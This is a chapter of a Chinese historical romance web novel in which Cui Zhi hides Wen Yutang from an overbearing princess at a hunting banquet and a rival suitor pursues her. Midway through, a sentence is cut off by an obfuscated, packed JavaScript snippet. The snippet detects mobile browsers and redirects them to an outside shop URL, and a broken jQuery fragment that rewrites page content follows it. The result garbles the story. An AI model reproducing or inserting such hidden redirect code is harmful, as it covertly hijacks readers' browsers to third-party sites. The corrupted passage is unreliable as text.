文趣网 > 其他小说 > 贵人知我甜 > 23. 吃醉(二)
    温予棠嘴里的呜咽吞下了肚,她的呼吸急促,吹出的气挠在崔知的手心,崔知喉结滚动,收回了手,低声道:“不要说话。”

    随即,他示意温予棠站直,指了指自己的腰带,同时对外面道:“郡主,臣失礼更衣,还请郡主速速离去。”

    温予棠听闻利落地抬起手,在距离崔知腰部两指的地方停住,假装为他宽衣解带。

    昭华郡主跋扈惯了,一动手竟掀开了崔知营帐的帘子。

    温予棠被她惊到,手一抖,直接拽向了崔知的腰带,绛红色的外袍一松,俨然一副真的在更衣的样子。

    崔知背对着门外,声音低沉,“郡主,你僭越了。”

    崔知只是国公府世子,郡主可是实打实的皇亲,但昭华郡主却没对‘僭越’这个词有任何不满,她看到崔知的面前似是站了一位女子,那女子身量不矮,低着头,被崔知刚好挡住,看不清面容,只能看到头顶戴着朵海棠绒花。

    昭华郡主咬着嘴唇,“这就是你所说的那侍猎吗?”

    崔知侧过头,眼神如霜,嘴里两个字如同刀锋,“出去。”

    昭华郡主愣在原地,还没等她反应,崔知的暗卫便已站近,挡住了昭华郡主,昭华郡主身旁的侍女见状,赶忙将人拉走。

    温予棠的手僵在空中,手里还紧攥着崔知的腰带,等人离开了,才软了下来,她双目迷离,正盯着崔知有些松散的领口,他锁骨漏出了一小节,平直深邃。

    崔知赶忙伸手,他耳尖有点泛红,将她手里的腰带抽了回来,“只是权宜之计,是我失礼,请温二小姐海涵,我并无轻薄之意,也没有真的想让你帮我更衣……。”

    温予棠心惊肉跳,此刻一颗心才落回肚子里,她脑子昏昏沉沉的,“是我下意识就做了,若不是郡主突然闯进,也不至于做戏如此逼真。”

    她扶着额头,“世子还是速速放我归席吧,最好找个人给我带路,若再生事端我这小门小户可吃不消。”

    她语气直白,没有一丝羞赧,反而恨不得立刻划清界限。

    崔知耳尖的红意退却,人也恢复了一如既往的淡然,示意暗卫将温予棠带回去,“没问题,温二小姐大可放心,我绝不会连累你。”

    温予棠搞不懂他为何又不高兴了,但是也不想多管闲事,她点点头,抬脚就要离开。

    “等等……”

    温予棠回过头,有些不解地看向崔知,她不知道崔知又有何事。

    崔知他上前两步,抬起手。

    “世子做什么?”温予棠下意识地缩了下脖子,正欲躲开他的手,就见崔知将手拿开了,他将自己头顶的海棠绒花取了下来。

    崔知逆着烛火,脸上的神色晦暗不明,“温予棠,你就这么讨厌我?”

    这是崔知第一次叫她的大名,温予棠本人也很少被这样叫,大多数时候都是‘温二小姐’、‘二姐姐’诸如此类的,久到从别人口中听到这个字,竟然有些陌生。

    她愣在原地,她不讨厌崔知,但也不想靠近,不知为何她总是觉得崔知透露着一股子危险的感觉,或许是崔知城府太深,如她这般简单的人根本看不穿,也或者是崔知脾气变化太快,让她捉摸不透。在他面前,她总是坐立不安。

    “……”满室寂静,温予棠没说话,但崔知仿佛已得了答案。

    崔知收敛起全部的情绪,声音沉静,“刚才昭华郡主见到了你的簪花,不能再留在头上了。若是有人问你头顶簪花去哪了,你自己想个借口搪塞过去即可。这朵簪花我来处置。”

    场面过于尴尬,温予棠赶忙应道,“嗯。还是世子顾虑周全。”

    她当场撅了崔世子的面子,此刻也不好先告退,等在原地听崔知发话。

    见她这时倒不走了,似乎因被人戳破心事有些心虚的样子,崔知又道:“护佑冬狩安全乃我之责,温二小姐两次为我解围,我记在心里,此前两笔人情债,就此一笔勾销,从此你我再无瓜葛,我也定不会为难温二小姐。日后温二小姐若遇危难,大可找人传信于我,对于温二小姐此等侠义之人,我自当鼎力相助。”

    温予棠长舒口气,还好崔知不记仇,有了他这份承诺,自己便也不怕了。

    “谢过世子。”温予棠告退。

    崔知手里握着那朵海棠绒花,这簪子看起来已用过多次,上面的绒花颜色有些浅淡,连银簪也暗淡,他拿着簪子,走到燃烧的炭火旁,火焰几欲舔到他的手指,他的手迅速的收了回来,像是被烫到了一般,海棠被火苗燎到,边缘有些焦黑,整朵花已所剩无几。

    崔知盯着手里的簪子看了一会,终究没将其掷入火里,他手指抚过那边缘处,将其放到了一旁的书案上,自己换了身衣服,又回到席间。

    崔知的担心是多余的,温予棠被暗卫暗中引路,一路又回到了桃籽身旁,桃籽只觉温予棠动作慢了些,却也不敢多说什么,也没注意到温予棠头上少了些什么。

    回到席面上,更是无人在意温予棠去干了些什么。

    温予棠不敢再饮,老老实实地喝起了茶,不一会,便见昭华郡主回到了席面上,她面色比刚才还要难看,眼尾带红,旁人以为她是吃醉了酒,可温予棠看得可是真切,分明是大哭了一场。

    又过了两盏茶的时间,崔知也回来了,他换了身衣袍,穿了身月白色团纹锦袍,看起来更为俊美。

    只是这次,他的眼神没再看向温家席面。

    崔世子还真是说到做到。温予棠见他守信,也放下心来,捏起一块糕点放到嘴里,刚才还觉得皇家席面处处精致美味,这会觉得这糕点又硬又冷,她赶忙放下,又夹起来其他几样菜色,都是食不知味,许是酒劲儿过了,人也不舒服了起来。

    程影见温予棠出去了一趟,回来就坐在席间吃饭,似乎也只在看雪豹时关注了崔知些许,这会也放下心来,温二姑娘只是一时迷了眼,不代表真的倾慕崔知。

    他端着酒杯,走到温徵旁坐下,可身子侧着,时不时就回头看一眼温予棠。

    温予棠假装看不到程影炙热的目光,她默默地低着头,用筷子挑着碗里的生姜。

    “温二小姐,你不吃姜吗?”

    温予棠抬头,程影不知什么时候蹭了过来,就坐在她前一排,回头对她说道。

    温予棠看着自己眼前被堆成小山一样放在一旁的生姜,张了张嘴,“嗯。”

    “我也不爱吃!我们还真是有缘。”程影有些害羞,他和温二姑娘还真是心有灵犀。

    一旁的温舒意有些不喜,自己素来是温府的焦点,可这程影仿佛看不到自己一般,反而一直纠缠着温予棠,她想起今日温予棠下她的面子,怒意更盛,握着杯中酒一饮而尽,语气娇嗔道:“我兄长也不爱吃姜,程公子和他也蛮有缘的。”

    程影本来就是无事献殷勤,若不是为了温予棠,他才不会来和温徵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896207|212848||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    聊天,搭讪不成还被人奚落,他尴尬地笑了笑,又敬了温徵一杯,“是的,有缘有缘……”

    那边崔麟见兄长换了身衣服,凑了上去,“兄长,你刚刚干嘛去了?”

    “管好你自己。”崔知淡淡答道。

    莫名其妙挨了骂,崔麟心里委屈,也闷闷不乐吃起来。

    崔夫人看两个儿子都不甚高兴的样子,也是有些莫名,刚才崔知那话里虽有暗示自己找了位侍猎女的意思,可她深知自己儿子心性,八成不是为了那风流之事,多半是为了挡住昭华郡主的口。

    看起来是时候抓紧给崔知选一门亲事了,断是不能由着他的性子,一直拖下去。

    “子玄。”崔夫人开口道:“过了年你便快及弱冠了,也该抓紧了,这次冬狩,可有遇到心仪的女子,告诉母亲,我去替你相看。”

    “没有。”他拒绝的迅速,但不是拒绝找门亲事,而是说没有喜欢的人。若是以前,崔知定是表面恭敬,但扯一些冠冕堂皇的理由推脱。

    崔夫人也有些意外,她正想继续,就听崔知说道,“若是有,我自会告诉母亲。”

    崔夫人一头雾水,但难得没被拒绝,喜不自胜的应下,“好好好,那你心有所属可要及时告诉母亲,现在的姑娘也不等人,若是人品家世清白,长相再好些,你不抓紧,可是早早就被人捷足先登了。”

    崔知面无表情,修长的手指握着筷子,崔麟相中他兄长选得那块肉,想让崔知让给他,就见崔知筷子拔起,菜没夹起,可筷下的骨头连着肉被洞穿,像是两只黑黝黝的小眼睛,吓得崔麟大气不敢喘,也不敢再惦记那块肉。他兄长刚才让他管好他自己,已是温柔至极。

    酒过三巡,圣上先回营歇息了,总归是没出什么事端,温予棠也随温家一起回去,刚起身,便见程影又凑了过来,“温二小姐。”

    程影声音很轻,温予棠努力辨认,却不敢凑得太近。

    “怎么?”

    “你的海棠绒花去哪了?我这有一支粉晶翡翠海棠簪,上次陪妹妹去宝凤楼便觉适合你,已将其买了下来,一直没有机会送给你……”

    温予棠警铃大作。

    她不语,却已盯上了身旁佟氏的动作,等佟氏和旁边的夫人说完话,她定会立刻跟上逃之夭夭。

    皇家宴席按官阶退席,崔国公和程将军边聊边走,崔家程家的人跟在后面,崔知一眼就看到了程影站在温家旁边。

    他状似不经意地上前一步,唤住程将军,“将军,不知二公子在何处,我还打算和他切磋下剑法。”

    程将军一听,可是喜不自胜,自家儿子虽说打不过崔知,但若是能切磋一二,必有进益,他转头看了眼身后,程影不知所踪。

    “这小子!?又去哪乱窜了!?”

    说着,就见侧面不远处程影挤在一堆文臣附近,“程影!”

    他声如洪钟,程影抬头看去,自己父亲瞪着眼睛,一副要来抓自己的样子,赶忙道别,“来了!”

    温予棠看向程将军身侧的崔知,他迎风而立,衣角微掀,乌云也不知何时被吹散了,一缕月光洒下,照得他皎皎出尘,明月高悬,却独爱他。

    “程公子。”

    程影被催的紧,听到温予棠叫他,虽回过头,却也没停下脚步。

    “我不喜欢海棠花。”温予棠声音很轻,消散于风里。

    海棠花娇美热烈,却不是她。